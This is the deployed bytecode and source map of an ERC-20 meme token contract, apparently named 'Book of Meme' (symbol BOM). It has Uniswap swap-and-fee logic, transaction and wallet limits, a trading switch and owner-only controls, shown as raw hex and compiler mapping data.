0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed14610312578063c9567bf914610328578063dd62ed3e1461033d578063ed99530714610383578063f5648a4f1461039857600080fd5b80637d1db4a5146102725780638da5cb5b146102885780638f9a55c0146102b057806395d89b41146102c6578063a9059cbb146102f257600080fd5b806323b872dd116100e757806323b872dd146101d4578063313ce567146101f457806370a0823114610210578063715018a614610246578063751039fc1461025d57600080fd5b806306fdde0314610124578063095ea7b31461016b5780630faee56f1461019b57806318160ddd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b2137b7b59037b31026b2b6bd60a11b60208201525b604051610162919061166a565b60405180910390f35b34801561017757600080fd5b5061018b6101863660046116cd565b6103ad565b6040519015158152602001610162565b3480156101a757600080fd5b506101b160135481565b604051908152602001610162565b3480156101cb57600080fd5b506101b16103c4565b3480156101e057600080fd5b5061018b6101ef3660046116f9565b6103e5565b34801561020057600080fd5b5060405160098152602001610162565b34801561021c57600080fd5b506101b161022b36600461173a565b6001600160a01b031660009081526001602052604090205490565b34801561025257600080fd5b5061025b61044e565b005b34801561026957600080fd5b5061025b6104cb565b34801561027e57600080fd5b506101b160105481565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102bc57600080fd5b506101b160115481565b3480156102d257600080fd5b50604080518082019091526003815262424f4d60e81b6020820152610155565b3480156102fe57600080fd5b5061018b61030d3660046116cd565b610537565b34801561031e57600080fd5b506101b160125481565b34801561033457600080fd5b5061025b610544565b34801561034957600080fd5b506101b1610358366004611757565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038f57600080fd5b5061025b6105df565b3480156103a457600080fd5b5061025b610971565b60006103ba338484610a4f565b5060015b92915050565b60006103d26009600a61188a565b6103e0906305f5e100611899565b905090565b60006103f2848484610b74565b610444843361043f85604051806060016040528060288152602001611a3b602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111bc565b610a4f565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906118b0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f55760405162461bcd60e51b8152600401610478906118b0565b600019601081905560118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b60006103ba338484610b74565b6000546001600160a01b0316331461056e5760405162461bcd60e51b8152600401610478906118b0565b601654600160a01b900460ff16156105c25760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b6016805462ff00ff60a01b19166201000160a01b17905543601455565b6000546001600160a01b031633146106095760405162461bcd60e51b8152600401610478906118b0565b601654600160a01b900460ff161561065d5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b600061068f6064610689605a6106756009600a61188a565b610683906305f5e100611899565b90610984565b90610a0d565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506106c9903090600019610a4f565b601560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074091906118e5565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c691906118e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610813573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083791906118e5565b601680546001600160a01b0319166001600160a01b039283161790556015541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f09190611902565b505060165460155460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190611930565b5050565b47801561098157610981816111f6565b50565b600082600003610996575060006103be565b60006109a28385611899565b9050826109af8583611952565b14610a065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610478565b9392505050565b6000610a0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a6565b6001600160a01b038316610ab15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610b125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610478565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610478565b60008111610c9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610478565b601654600160a01b900460ff16610d2f576001600160a01b03821660009081526003602052604090205460ff1680610cec57506001600160a01b03831660009081526003602052604090205460ff165b610d2f5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610478565b601654600160a81b900460ff1680610d515750601654600160a01b900460ff16155b15610df7576001600160a01b03831660009081526001602052604081208054839290610d7e908490611974565b90915550506001600160a01b03821660009081526001602052604081208054839290610dab908490611987565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b6791815260200190565b6000610e1f6064610689600c54600f5411610e1457600854610e18565b600a545b8590610984565b9050610e336000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e6257506000546001600160a01b03848116911614155b156111aa576016546001600160a01b038581169116148015610e9257506015546001600160a01b03848116911614155b8015610eb757506001600160a01b03831660009081526003602052604090205460ff16155b15610fc157601054821115610f0e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610478565b60115482610f31856001600160a01b031660009081526001602052604090205490565b610f3b9190611987565b1115610f895760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b436014546003610f999190611987565b1115610fab57823b15610fab57600080fd5b600f8054906000610fbb8361199a565b91905055505b6016546001600160a01b03848116911614801590610ff857506001600160a01b03831660009081526003602052604090205460ff16155b156110785760115482611020856001600160a01b031660009081526001602052604090205490565b61102a9190611987565b11156110785760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b6016546001600160a01b03848116911614801561109e57506001600160a01b0384163014155b156110cb576110c86064610689600d54600f54116110be57600954610e18565b600b548590610984565b90505b30600090815260016020526040902054601654600160a81b900460ff1615801561110257506016546001600160a01b038581169116145b80156111175750601654600160b01b900460ff165b80156111265750600e54600f54115b801561114b57506001600160a01b03851660009081526003602052604090205460ff16155b801561117057506001600160a01b03841660009081526003602052604090205460ff16155b156111a85760125481111561119c5761119c61119784611192846013546112d4565b6112d4565b6112e9565b476111a6476111f6565b505b505b6111b684848484611463565b50505050565b600081848411156111e05760405162461bcd60e51b8152600401610478919061166a565b5060006111ed8486611974565b95945050505050565b60006064600654836112089190611899565b6112129190611952565b905060006064600754846112269190611899565b6112309190611952565b6004546040519192506001600160a01b03169083156108fc029084906000818181858888f1935050505015801561126b573d6000803e3d6000fd5b506005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111b6573d6000803e3d6000fd5b600081836112c75760405162461bcd60e51b8152600401610478919061166a565b5060006111ed8486611952565b60008183116112e35782610a06565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611331576113316119b3565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae91906118e5565b816001815181106113c1576113c16119b3565b6001600160a01b0392831660209182029290920101526015546113e79130911684610a4f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114209085906000908690309042906004016119c9565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6001600160a01b03841660009081526003602052604090205460ff168061153b5781156114fe57306000908152600160205260409020546114a490836115c9565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114f59086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546115219084611628565b6001600160a01b0386166000908152600160205260409020555b6115676115488484611628565b6001600160a01b038616600090815260016020526040902054906115c9565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115b18686611628565b60405190815260200160405180910390a35050505050565b6000806115d68385611987565b905083811015610a065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610478565b6000610a0683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b600060208083528351808285015260005b818110156116975785810183015185820160400152820161167b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461098157600080fd5b600080604083850312156116e057600080fd5b82356116eb816116b8565b946020939093013593505050565b60008060006060848603121561170e57600080fd5b8335611719816116b8565b92506020840135611729816116b8565b929592945050506040919091013590565b60006020828403121561174c57600080fd5b8135610a06816116b8565b6000806040838503121561176a57600080fd5b8235611775816116b8565b91506020830135611785816116b8565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117e15781600019048211156117c7576117c7611790565b808516156117d457918102915b93841c93908002906117ab565b509250929050565b6000826117f8575060016103be565b81611805575060006103be565b816001811461181b576002811461182557611841565b60019150506103be565b60ff84111561183657611836611790565b50506001821b6103be565b5060208310610133831016604e8410600b8410161715611864575081810a6103be565b61186e83836117a6565b806000190482111561188257611882611790565b029392505050565b6000610a0660ff8416836117e9565b80820281158282048414176103be576103be611790565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118f757600080fd5b8151610a06816116b8565b60008060006060848603121561191757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561194257600080fd5b81518015158114610a0657600080fd5b60008261196f57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103be576103be611790565b808201808211156103be576103be611790565b6000600182016119ac576119ac611790565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a195784516001600160a01b0316835293830193918301916001016119f4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209745fda7409880112b0b588465d9fee5ad35d52907d366f16a1ae047a14b05f364736f6c63430008120033

Deployed Bytecode Sourcemap

4477:10203:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7326:83;;;;;;;;;;-1:-1:-1;7396:5:0;;;;;;;;;;;;-1:-1:-1;;;7396:5:0;;;;7326:83;;;;;;;:::i;:::-;;;;;;;;8209:186;;;;;;;;;;-1:-1:-1;8209:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8209:186:0;1023:187:1;5665:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5665:52:0;1215:177:1;7603:95:0;;;;;;;;;;;;;:::i;8403:446::-;;;;;;;;;;-1:-1:-1;8403:446:0;;;;;:::i;:::-;;:::i;7512:83::-;;;;;;;;;;-1:-1:-1;7512:83:0;;5291:1;2000:36:1;;1988:2;1973:18;7512:83:0;1858:184:1;7706:119:0;;;;;;;;;;-1:-1:-1;7706:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7799:18:0;7772:7;7799:18;;;:9;:18;;;;;;;7706:119;3391:148;;;;;;;;;;;;;:::i;:::-;;14160:174;;;;;;;;;;;;;:::i;5481:53::-;;;;;;;;;;;;;;;;3177:79;;;;;;;;;;-1:-1:-1;3215:7:0;3242:6;3177:79;;-1:-1:-1;;;;;3242:6:0;;;2445:51:1;;2433:2;2418:18;3177:79:0;2299:203:1;5541:55:0;;;;;;;;;;;;;;;;7417:87;;;;;;;;;;-1:-1:-1;7489:7:0;;;;;;;;;;;;-1:-1:-1;;;7489:7:0;;;;7417:87;;7833:192;;;;;;;;;;-1:-1:-1;7833:192:0;;;;;:::i;:::-;;:::i;5603:55::-;;;;;;;;;;;;;;;;12333:203;;;;;;;;;;;;;:::i;8033:168::-;;;;;;;;;;-1:-1:-1;8033:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8166:18:0;;;8139:7;8166:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8033:168;6492:826;;;;;;;;;;;;;:::i;13981:171::-;;;;;;;;;;;;;:::i;8209:186::-;8309:4;8326:39;804:10;8349:7;8358:6;8326:8;:39::i;:::-;-1:-1:-1;8383:4:0;8209:186;;;;;:::o;7603:95::-;7656:7;5346:15;5291:1;5346:2;:15;:::i;:::-;5334:27;;:9;:27;:::i;:::-;7676:14;;7603:95;:::o;8403:446::-;8535:4;8552:36;8562:6;8570:9;8581:6;8552:9;:36::i;:::-;8599:220;8622:6;804:10;8670:138;8726:6;8670:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8670:19:0;;;;;;:11;:19;;;;;;;;804:10;8670:33;;;;;;;;;;:37;:138::i;:::-;8599:8;:220::i;:::-;-1:-1:-1;8837:4:0;8403:446;;;;;:::o;3391:148::-;3304:6;;-1:-1:-1;;;;;3304:6:0;804:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;;;;;;;;;3498:1:::1;3482:6:::0;;3461:40:::1;::::0;-1:-1:-1;;;;;3482:6:0;;::::1;::::0;3461:40:::1;::::0;3498:1;;3461:40:::1;3529:1;3512:19:::0;;-1:-1:-1;;;;;;3512:19:0::1;::::0;;3391:148::o;14160:174::-;3304:6;;-1:-1:-1;;;;;3304:6:0;804:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;-1:-1:-1;;14214:12:0::1;:26:::0;;;14251:14:::1;:28:::0;;;14295:31:::1;::::0;1361:25:1;;;14295:31:0::1;::::0;1349:2:1;1334:18;14295:31:0::1;;;;;;;14160:174::o:0;7833:192::-;7936:4;7953:42;804:10;7977:9;7988:6;7953:9;:42::i;12333:203::-;3304:6;;-1:-1:-1;;;;;3304:6:0;804:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;12395:11:::1;::::0;-1:-1:-1;;;12395:11:0;::::1;;;12394:12;12386:48;;;::::0;-1:-1:-1;;;12386:48:0;;5151:2:1;12386:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;12386:48:0::1;4949:347:1::0;12386:48:0::1;12445:11;:18:::0;;-1:-1:-1;;;;12474:18:0;-1:-1:-1;;;12474:18:0;;;12516:12:::1;12474:11;12503:25:::0;12333:203::o;6492:826::-;3304:6;;-1:-1:-1;;;;;3304:6:0;804:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;6558:11:::1;::::0;-1:-1:-1;;;6558:11:0;::::1;;;6557:12;6549:48;;;::::0;-1:-1:-1;;;6549:48:0;;5151:2:1;6549:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;6549:48:0::1;4949:347:1::0;6549:48:0::1;6608:19;6630:24;6650:3;6630:15;6642:2;5346:15;5291:1;5346:2;:15;:::i;:::-;5334:27;::::0;:9:::1;:27;:::i;:::-;6630:11:::0;::::1;:15::i;:::-;:19:::0;::::1;:24::i;:::-;6665:15;:104:::0;;-1:-1:-1;;;;;;6665:104:0::1;6716:42;6665:104:::0;;::::1;::::0;;;6608:46;;-1:-1:-1;6780:62:0::1;::::0;6797:4:::1;::::0;-1:-1:-1;;6780:8:0::1;:62::i;:::-;6887:15;;;;;;;;;-1:-1:-1::0;;;;;6887:15:0::1;-1:-1:-1::0;;;;;6887:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6869:55:0::1;;6947:4;6967:15;;;;;;;;;-1:-1:-1::0;;;;;6967:15:0::1;-1:-1:-1::0;;;;;6967:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6869:131;::::0;-1:-1:-1;;;;;;6869:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;6869:131:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;6869:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6853:13;:147:::0;;-1:-1:-1;;;;;;6853:147:0::1;-1:-1:-1::0;;;;;6853:147:0;;::::1;;::::0;;7013:15:::1;::::0;::::1;:31;7052:21;7097:4;7117:11:::0;-1:-1:-1;;804:10:0;7013:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7013:215:0;;;-1:-1:-1;;;;;6225:15:1;;;7013:215:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;7202:15:0::1;6439:19:1::0;;;6432:35;6141:19;;7013:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7246:13:0::1;::::0;7277:15:::1;::::0;7239:71:::1;::::0;-1:-1:-1;;;7239:71:0;;-1:-1:-1;;;;;7277:15:0;;::::1;7239:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;7246:13:0;::::1;::::0;-1:-1:-1;7239:29:0::1;::::0;6936:18:1;;7239:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6538:780;6492:826::o:0;13981:171::-;14048:21;14083:12;;14080:65;;14109:24;14122:10;14109:12;:24::i;:::-;14018:134;13981:171::o;2211:246::-;2269:7;2293:1;2298;2293:6;2289:47;;-1:-1:-1;2323:1:0;2316:8;;2289:47;2346:9;2358:5;2362:1;2358;:5;:::i;:::-;2346:17;-1:-1:-1;2391:1:0;2382:5;2386:1;2346:17;2382:5;:::i;:::-;:10;2374:56;;;;-1:-1:-1;;;2374:56:0;;7774:2:1;2374:56:0;;;7756:21:1;7813:2;7793:18;;;7786:30;7852:34;7832:18;;;7825:62;-1:-1:-1;;;7903:18:1;;;7896:31;7944:19;;2374:56:0;7572:397:1;2374:56:0;2448:1;2211:246;-1:-1:-1;;;2211:246:0:o;2465:132::-;2523:7;2550:39;2554:1;2557;2550:39;;;;;;;;;;;;;;;;;:3;:39::i;8857:335::-;-1:-1:-1;;;;;8950:19:0;;8942:68;;;;-1:-1:-1;;;8942:68:0;;8176:2:1;8942:68:0;;;8158:21:1;8215:2;8195:18;;;8188:30;8254:34;8234:18;;;8227:62;-1:-1:-1;;;8305:18:1;;;8298:34;8349:19;;8942:68:0;7974:400:1;8942:68:0;-1:-1:-1;;;;;9029:21:0;;9021:68;;;;-1:-1:-1;;;9021:68:0;;8581:2:1;9021:68:0;;;8563:21:1;8620:2;8600:18;;;8593:30;8659:34;8639:18;;;8632:62;-1:-1:-1;;;8710:18:1;;;8703:32;8752:19;;9021:68:0;8379:398:1;9021:68:0;-1:-1:-1;;;;;9100:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9152:32;;1361:25:1;;;9152:32:0;;1334:18:1;9152:32:0;;;;;;;;8857:335;;;:::o;9200:3125::-;-1:-1:-1;;;;;9301:23:0;;9293:73;;;;-1:-1:-1;;;9293:73:0;;8984:2:1;9293:73:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:34;9042:18;;;9035:62;-1:-1:-1;;;9113:18:1;;;9106:35;9158:19;;9293:73:0;8782:401:1;9293:73:0;-1:-1:-1;;;;;9385:24:0;;9377:72;;;;-1:-1:-1;;;9377:72:0;;9390:2:1;9377:72:0;;;9372:21:1;9429:2;9409:18;;;9402:30;9468:34;9448:18;;;9441:62;-1:-1:-1;;;9519:18:1;;;9512:33;9562:19;;9377:72:0;9188:399:1;9377:72:0;9477:1;9468:6;:10;9460:64;;;;-1:-1:-1;;;9460:64:0;;9794:2:1;9460:64:0;;;9776:21:1;9833:2;9813:18;;;9806:30;9872:34;9852:18;;;9845:62;-1:-1:-1;;;9923:18:1;;;9916:39;9972:19;;9460:64:0;9592:405:1;9460:64:0;9542:11;;-1:-1:-1;;;9542:11:0;;;;9537:190;;-1:-1:-1;;;;;9596:30:0;;;;;;:18;:30;;;;;;;;;:63;;-1:-1:-1;;;;;;9630:29:0;;;;;;:18;:29;;;;;;;;9596:63;9570:145;;;;-1:-1:-1;;;9570:145:0;;10204:2:1;9570:145:0;;;10186:21:1;10243:2;10223:18;;;10216:30;-1:-1:-1;;;10262:18:1;;;10255:50;10322:18;;9570:145:0;10002:344:1;9570:145:0;9743:6;;-1:-1:-1;;;9743:6:0;;;;;:22;;-1:-1:-1;9754:11:0;;-1:-1:-1;;;9754:11:0;;;;9753:12;9743:22;9739:211;;;-1:-1:-1;;;;;9782:20:0;;;;;;:9;:20;;;;;:30;;9806:6;;9782:20;:30;;9806:6;;9782:30;:::i;:::-;;;;-1:-1:-1;;;;;;;9827:21:0;;;;;;:9;:21;;;;;:31;;9852:6;;9827:21;:31;;9852:6;;9827:31;:::i;:::-;;;;;;;;9898:10;-1:-1:-1;;;;;9878:39:0;9887:9;-1:-1:-1;;;;;9878:39:0;;9910:6;9878:39;;;;1361:25:1;;1349:2;1334:18;;1215:177;9739:211:0;9962:17;10008:110;10114:3;10008:87;10046:15;;10034:9;;:27;10033:61;;10080:14;;10033:61;;;10065:12;;10033:61;10008:6;;:24;:87::i;:110::-;9996:122;;10148:7;3215;3242:6;-1:-1:-1;;;;;3242:6:0;;3177:79;10148:7;-1:-1:-1;;;;;10135:20:0;:9;-1:-1:-1;;;;;10135:20:0;;;:45;;;;-1:-1:-1;3215:7:0;3242:6;-1:-1:-1;;;;;10159:21:0;;;3242:6;;10159:21;;10135:45;10131:2118;;;10232:13;;-1:-1:-1;;;;;10219:26:0;;;10232:13;;10219:26;:85;;;;-1:-1:-1;10288:15:0;;-1:-1:-1;;;;;10266:38:0;;;10288:15;;10266:38;;10219:85;:137;;;;-1:-1:-1;;;;;;10326:30:0;;;;;;:18;:30;;;;;;;;10325:31;10219:137;10197:597;;;10409:12;;10399:6;:22;;10391:60;;;;-1:-1:-1;;;10391:60:0;;10816:2:1;10391:60:0;;;10798:21:1;10855:2;10835:18;;;10828:30;10894:27;10874:18;;;10867:55;10939:18;;10391:60:0;10614:349:1;10391:60:0;10534:14;;10524:6;10500:21;10510:10;-1:-1:-1;;;;;7799:18:0;7772:7;7799:18;;;:9;:18;;;;;;;7706:119;10500:21;:30;;;;:::i;:::-;:48;;10470:148;;;;-1:-1:-1;;;10470:148:0;;11170:2:1;10470:148:0;;;11152:21:1;11209:2;11189:18;;;11182:30;11248:28;11228:18;;;11221:56;11294:18;;10470:148:0;10968:350:1;10470:148:0;10660:12;10643:10;;10656:1;10643:14;;;;:::i;:::-;:29;10639:110;;;13418:20;;13466:8;10697:32;;;;;;10767:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10197:597;10828:13;;-1:-1:-1;;;;;10814:27:0;;;10828:13;;10814:27;;;;:62;;-1:-1:-1;;;;;;10846:30:0;;;;;;:18;:30;;;;;;;;10845:31;10814:62;10810:251;;;10961:14;;10951:6;10927:21;10937:10;-1:-1:-1;;;;;7799:18:0;7772:7;7799:18;;;:9;:18;;;;;;;7706:119;10927:21;:30;;;;:::i;:::-;:48;;10897:148;;;;-1:-1:-1;;;10897:148:0;;11170:2:1;10897:148:0;;;11152:21:1;11209:2;11189:18;;;11182:30;11248:28;11228:18;;;11221:56;11294:18;;10897:148:0;10968:350:1;10897:148:0;11095:13;;-1:-1:-1;;;;;11081:27:0;;;11095:13;;11081:27;:57;;;;-1:-1:-1;;;;;;11112:26:0;;11133:4;11112:26;;11081:57;11077:345;;;11171:235;11402:3;11171:204;11243:16;;11231:9;;:28;11230:122;;11337:15;;11230:122;;;11292:13;;11171:6;;:32;:204::i;:235::-;11159:247;;11077:345;11487:4;11438:28;7799:18;;;:9;:18;;;;;;11531:6;;-1:-1:-1;;;11531:6:0;;;;11530:7;:55;;;;-1:-1:-1;11572:13:0;;-1:-1:-1;;;;;11558:27:0;;;11572:13;;11558:27;11530:55;:87;;;;-1:-1:-1;11606:11:0;;-1:-1:-1;;;11606:11:0;;;;11530:87;:138;;;;;11650:18;;11638:9;;:30;11530:138;:189;;;;-1:-1:-1;;;;;;11690:29:0;;;;;;:18;:29;;;;;;;;11689:30;11530:189;:241;;;;-1:-1:-1;;;;;;11741:30:0;;;;;;:18;:30;;;;;;;;11740:31;11530:241;11508:730;;;11832:17;;11809:20;:40;11806:205;;;11874:117;11917:51;11921:6;11929:38;11933:20;11955:11;;11929:3;:38::i;:::-;11917:3;:51::i;:::-;11874:16;:117::i;:::-;12076:21;12168:35;12181:21;12168:12;:35::i;:::-;11787:451;11508:730;10182:2067;10131:2118;12261:56;12276:9;12287:10;12299:6;12307:9;12261:14;:56::i;:::-;9282:3043;9200:3125;;;:::o;1979:224::-;2099:7;2135:12;2127:6;;;;2119:29;;;;-1:-1:-1;;;2119:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2159:9:0;2171:5;2175:1;2171;:5;:::i;:::-;2159:17;1979:224;-1:-1:-1;;;;;1979:224:0:o;14342:298::-;14399:22;14458:3;14434:20;;14425:6;:29;;;;:::i;:::-;14424:37;;;;:::i;:::-;14399:62;;14472:23;14533:3;14508:21;;14499:6;:30;;;;:::i;:::-;14498:38;;;;:::i;:::-;14549:10;;:35;;14472:64;;-1:-1:-1;;;;;;14549:10:0;;:35;;;;;14569:14;;14549:10;:35;:10;:35;14569:14;14549:10;:35;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14595:11:0;;:37;;-1:-1:-1;;;;;14595:11:0;;;;:37;;;;;14616:15;;14595:11;:37;:11;:37;14616:15;14595:11;:37;;;;;;;;;;;;;;;;;;;2605:223;2725:7;2760:12;2753:5;2745:28;;;;-1:-1:-1;;;2745:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2784:9:0;2796:5;2800:1;2796;:5;:::i;13172:107::-;13229:7;13261:1;13257;:5;13256:15;;13270:1;13256:15;;;-1:-1:-1;13266:1:0;13172:107;-1:-1:-1;13172:107:0:o;13490:483::-;6028:6;:13;;-1:-1:-1;;;;6028:13:0;-1:-1:-1;;;6028:13:0;;;13592:16:::1;::::0;;13606:1:::1;13592:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13592:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13592:16:0::1;13568:40;;13637:4;13619;13624:1;13619:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13619:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13663:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13663:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13619:7;;13663:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13653:4;13658:1;13653:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13653:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13728:15:::1;::::0;13696:62:::1;::::0;13713:4:::1;::::0;13728:15:::1;13746:11:::0;13696:8:::1;:62::i;:::-;13769:15;::::0;:196:::1;::::0;-1:-1:-1;;;13769:196:0;;-1:-1:-1;;;;;13769:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13850:11;;13769:15:::1;::::0;13892:4;;13919::::1;::::0;13939:15:::1;::::0;13769:196:::1;;;:::i;:::-;;;;